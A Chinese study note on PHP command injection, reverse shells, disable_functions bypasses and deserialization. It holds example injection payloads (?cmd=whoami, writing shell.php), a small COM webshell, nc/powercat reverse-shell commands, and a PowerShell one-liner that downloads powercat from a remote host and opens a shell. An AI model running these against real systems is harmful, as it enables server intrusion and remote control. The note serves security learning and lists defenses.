一、漏洞的原因及本质

代码层过滤不严,应用程序直接或间接使用了动态执行命令的危险函数,并且这个函数的运行参数是可控的。当服务器没有严格过滤用户提供的参数时,就有可能导致用户提交恶意代码被服务器执行,从而造成命令执行漏洞。

涉及到的函数

函数 说明
system 能够将字符串作为OS命令执行,自带输出功能
exec() 能将字符串作为OS命令执行,但无输出,需要输出执行结果 注意:只输出最后一行数据
shell_exec() 执行命令并以字符串的形式,返回完整的信息,但是函数无回显,需要输出执行结果
passthru() 执行外部命令,与exec()类似,但是该函数会直接将结果输出,无需输出执行
popen() 打开并运行一个程序文件,返回一个文件指针
反引号(``)、[``]内的字符串,也会被解析成OS命令

二、命令执行漏洞的危害

1、继承Web服务器程序权限(Web用户权限),去执行系统命令

2、继承Web服务器权限,读写文件

3、反弹Shell

4、控制整个网站

5、控制整个服务器

利用

操作 命令
查看系统文件 payload:[?cmd=type c:\windows\system32\drivers\etc\hosts] 查看系统hosts文件
显示当前路径 payload:[?cmd=cd]
显示当前权限 payload:[?cmd=whoami]
写文件 payload:[?cmd=echo”x” > C:\phpStudy\WWW\Commmand\shell.php] 页面没有报错,说明文件写入成功

三、命令执行语法

Windows

命令格式 含义
command1 & command2 挂起,同时执行Command1和command2,无论command1执行是否成功都执行cmmand2
command1 && command2 且,先后执行Command1和command2,只有command1执行成功时才执行command2
command1 || command2 或,先后执行Command1和command2,只有command1执行失败时才执行command2
command1 | command2 管道符,将command1的执行结果传递给command2

Linux

命令格式 含义
command1 ; command2 分隔,先后执行Command1和command2,各自无影响
command1 & command2 挂起,同时执行Command1和command2,无论command1执行是否成功都执行cmmand2
command1 && command2 且,先后执行Command1和command2,只有command1执行成功时才执行command2
command1 || command2 或,先后执行Command1和command2,只有command1执行失败时才执行command2
command1 | command2 管道符,将command1的执行结果传递给command2
command1.command2 反引号" `` ",优先执行,无论command1是否执行成功

四、命令执行漏洞的防御

1、尽量少使用执行命令函数或者禁用disable_functions

2、在进入执行命令的函数之前,对参数进行过滤,对敏感字符进行转义

3、参数值尽量使用引号包括,并在拼接前调用addslashes进行转义

注:windows写入用单引号,linux用双引号。

五、反弹shell

正向shell不可控,但是不受网络环境影响(自己内网连接目标公网)

控制端->被控端,被控端需要开启监听(被控端防火墙、端口开启等难度大,不建议)

powercat -l -p 8888 -e cmd

nc x.x.x.x 8888

反弹shel可控,但是需要网络可达(目标内网连接自己公网)

被控端->控制端,控制端开启监听可控,被控端只需要连接即可,容易实现

注:无论是哪种shell,都是控制端控制被控端。

powercat -c x.x.x.x -p 8888 -e cmd

nc -lnvp 8888

powershell程序反弹shell

(程序为powershell函数,让目标服务器可以执行powershell命令)

从本地上传脚本

powershell.exe -exec bypass -Command "Import-Module C:\powercat.ps1;powercat -c x.x.x.x -p 8888 -e cmd"

从公网服务器下载脚本

powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.21.66:8000/windows/powercat.ps1');powercat -c 192.168.21.66 -p 8888 -e cmd

详见反弹shell归纳笔记。

六、绕过disable functions

disable_functions是在/etc/php/apache2/php.ini中的一个设置选项,可以用来设置PHP环境禁止使用某些函数

通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等

phpinfo中为disable functions,默认为空,可以通过修改配置文件php.ini进行设置

如果disable functions被启用,即使拿到webshell,命令执行依然受到限制

绕过方法

方法 说明
常规绕过:
exec,shell_exec,system,passthru,popen,proc_open
黑名单不全绕过 (蚁剑自带黑名单绕过)
利用环境变量LD_PRELOAD绕过
LD_PRELOAD是Linux系统的下的一个环境变量,它允许你定义在程序运行前优先加载的动态链接库。 通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。 在php中,可使用putenv()函数设置LD_PRELOAD环境变量来加载指定的so文件,so文件中包含自定义函数进行劫持从而达到执行恶意命令的目的
前提条件
1、能够上传自己的.so文件
2、能够控制环境变量的值(设置LD_PRELOAD变量),比如putenv函数
3、存在mail()、imap_mail()、mb_send_mail()和error_log()等可以控制PHP启动外部程序并能执行的函数

利用过程
1、首先,能够上传恶意.so文件,.so文件由攻击者在本地使用与服务端相近的系统环境进行编译,该库中重写了相关系统函数,重写的系统函数能够被PHP中未被disable_functions禁止的函数所调用
2、能够设置环境变量,比如putenv函数未被禁止,就可以把LD_PRELOAD变量设置为恶意.so文件的路径,只要启动新的进程就会在新进程运行前优先加载该恶意.so文件,导致恶意代码就被注入到程序中
3、当执行未被禁止的PHP函数,并且该函数调用了恶意库中重写的系统函数,就可以达到任意执行系统命令的效果了,因为重写的系统函数中的内容是我们可控的,对这部分内容进行编程即可
利用pcntl_exec绕过
利用imap_open函数任意命令执行(CVE-2018-19518)
利用系统组件window com绕过
COM组件它最早的设计意图是,跨语言实现程序组件的复用 COM组件由以Win32动态连接库(DLL)或可执行文件(EXE)形式发布的可执行代码所组成,遵循COM规范编写出来的组件将能够满足对组件架构的所有要求
前提条件
1、php版本为5.4,高版本扩展要自己添加
2、要在php.ini中开启extension=php_com_dotnet.dll 函数:
exec(“cmd /c”.$command);
$stdout = $exec->StdOut();
$stringput = $stdout->ReadALL();
print($stringput); ?>

使用:
com.php?shell=whoami
利用Apache+mod_cgi+.htaccess绕过 ModCGI把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP,它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行。 .htaccess文件中可以定制用户定义标识头,如果添加Options+ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本,添加AddHandlercgi-script.cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序 前提条件
1、启用mod-cgi
2、.htaccess可写
3、保证.htaccess可以加载进当前web环境。当apache配置文件中指定web目录下AllowOverride参数值为None时,.htaccess文件无法生效
利用ImageMagick漏洞绕过
利用PHP7.4的FFI绕过利用ShellShock绕过(CVE-2014-6271)
利用蚁剑插件绕过 加载插件->辅助管理->绕过disable_functions

七、反序列化漏洞

将对象的状态信息转换为可以存储或传输的形式(字符串)的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。简单的说,序列化就是把一个对象变成可以传输的字符串,可以以特定的格式在进程之间跨平台、安全的进行通信。

序列化的用途

方便对象在网络中的传输与存储

序列化与反序列化的过程:

序列化:将对象转换为流,利于储存和传输的格式

反序列化:将流转换为对象

PHP反序列化

PHP对象类型数据,反序列化之前,需要对反序列化对象提前定义。

函数 说明
serialize($a) 序列化
unserialize($a) 反序列化

形成原因:

程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

常见的魔法函数介绍

序列化本身并不存在任何漏洞,但是搭配上PHP的魔法函数,整个程序的执行流程就将变得可控

函数 说明
__construct() 当一个对象创建时被调用(相当于c++的构造函数)
__destruct() 当一个对象销毁时被调用(相当于c++的析构函数)
__sleep() 在对象被序列化之前被调用
__weakup() 将在unserialize()函数执行反序列化时调用。
__toString() 当一个对象被当作一个字符串时使用

注意:

PHP的反序列化漏洞需要与其他漏洞配合,比如代码执行、代码执行等。

防御:

1、要严格过滤用户输入的unserialize函数的参数

2、要对unserialize后的变量内容进行检查,以确定内容没有被污染